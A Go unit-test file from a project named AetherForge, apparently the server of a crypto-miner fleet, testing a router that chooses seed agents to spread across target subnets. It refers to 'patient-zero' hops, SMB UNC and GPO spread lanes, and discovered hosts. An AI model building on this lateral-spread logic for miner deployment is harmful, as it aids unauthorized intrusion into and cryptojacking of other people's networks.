Files
AetherForge/server/internal/spreadrouter/router_test.go
AetherForge 0445b7ed4f
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add erasure-coded multi-lane spread foundation.
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
2026-06-07 06:09:20 -07:00

134 lines
3.9 KiB
Go

package spreadrouter
import (
"testing"
"crypto-miner-server/internal/clearance"
)
func TestBuildPrefersMinimumClearanceOnSubnet(t *testing.T) {
in := Input{
TargetSubnets: []string{"10.1.2"},
RequestedLane: "do_peer",
FleetAgents: []FleetAgentSnapshot{
{AgentID: "patient-zero", AgentName: "PZ", Subnet: "10.1.2", Clearance: clearance.L4, LatencyMs: 40, JoinLane: "gpo", Connected: true},
{AgentID: "seed-hop", AgentName: "Seed", Subnet: "10.1.2", Clearance: clearance.L2, LatencyMs: 20, JoinLane: "do_peer", Connected: true},
},
LaneSuccess: []LaneSuccessStat{
{Subnet: "10.1.2", JoinLane: "do_peer", Success: 5},
},
Sessions: []SessionSnapshot{
{
SessionID: "sess-1",
Hops: []HopSnapshot{
{AgentID: "patient-zero", AgentName: "PZ", Subnet: "10.1.2", SessionID: "sess-1", HopIndex: 0, Connected: true},
{AgentID: "seed-hop", AgentName: "Seed", Subnet: "10.1.2", SessionID: "sess-1", HopIndex: 1, Connected: true},
},
Discoveries: []SubnetDiscovery{
{Subnet: "10.1.2", AgentID: "seed-hop", Hosts: []string{"10.1.2.50"}},
},
},
},
}
rt := Build(in)
rec, ok := rt.Recommend("10.1.2")
if !ok {
t.Fatal("expected route recommendation")
}
if rec.SeedAgentID != "seed-hop" {
t.Fatalf("seed=%q want seed-hop (min clearance + lane success)", rec.SeedAgentID)
}
if rec.EgressAgentID != "seed-hop" {
t.Fatalf("egress=%q", rec.EgressAgentID)
}
if rec.ClearanceLevel != clearance.L2 {
t.Fatalf("clearance=%d", rec.ClearanceLevel)
}
if rec.JoinLane != "do_peer" {
t.Fatalf("join_lane=%q", rec.JoinLane)
}
}
func TestBuildUsesPathTracerDiscoveryOverPatientZero(t *testing.T) {
in := Input{
TargetSubnets: []string{"192.168.5"},
RequestedLane: "spread_smb_unc",
FleetAgents: []FleetAgentSnapshot{
{AgentID: "hop-a", Subnet: "10.0.0", Clearance: clearance.L2, LatencyMs: 10, Connected: true},
{AgentID: "hop-b", Subnet: "10.0.1", Clearance: clearance.L2, LatencyMs: 15, Connected: true},
},
Sessions: []SessionSnapshot{
{
SessionID: "sess-pt",
Hops: []HopSnapshot{
{AgentID: "hop-a", Subnet: "10.0.0", SessionID: "sess-pt", HopIndex: 0, Connected: true},
{AgentID: "hop-b", Subnet: "10.0.1", SessionID: "sess-pt", HopIndex: 1, Connected: true},
},
Discoveries: []SubnetDiscovery{
{Subnet: "192.168.5", AgentID: "hop-b", Hosts: []string{"192.168.5.20"}},
},
},
},
}
rt := Build(in)
rec, ok := rt.Recommend("192.168.5")
if !ok || rec.SeedAgentID != "hop-b" {
t.Fatalf("route=%+v ok=%v", rec, ok)
}
if rec.Reason != "path-tracer discovery on subnet" {
t.Fatalf("reason=%q", rec.Reason)
}
}
func TestBuildRejectsBelowSpreadClearance(t *testing.T) {
in := Input{
TargetSubnets: []string{"10.2.0"},
FleetAgents: []FleetAgentSnapshot{
{AgentID: "low-clear", Subnet: "10.2.0", Clearance: clearance.L1, Connected: true},
},
}
rt := Build(in)
if _, ok := rt.Recommend("10.2.0"); ok {
t.Fatal("expected no route for L1 agent")
}
}
func TestNormalizeSubnet(t *testing.T) {
if got := NormalizeSubnet("10.1.2.x"); got != "10.1.2" {
t.Fatalf("got %q", got)
}
if got := SubnetFromIP("203.0.113.44"); got != "203.0.113" {
t.Fatalf("got %q", got)
}
}
func TestBuildSetsErasureLanesFlag(t *testing.T) {
in := Input{
TargetSubnets: []string{"10.9.8"},
ErasureLanesEnabled: true,
FleetAgents: []FleetAgentSnapshot{
{AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
},
}
rt := Build(in)
rec, ok := rt.Recommend("10.9.8")
if !ok || !rec.ErasureLanesEnabled {
t.Fatalf("route=%+v ok=%v", rec, ok)
}
hint := ToHint(rec)
if hint == nil || !hint.ErasureLanesEnabled {
t.Fatalf("hint=%+v", hint)
}
}
func TestToHint(t *testing.T) {
hint := ToHint(RouteRecommendation{
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,
})
if hint == nil || hint.SeedAgentID != "a1" || hint.TargetSubnet != "10.1.2" {
t.Fatalf("hint=%+v", hint)
}
}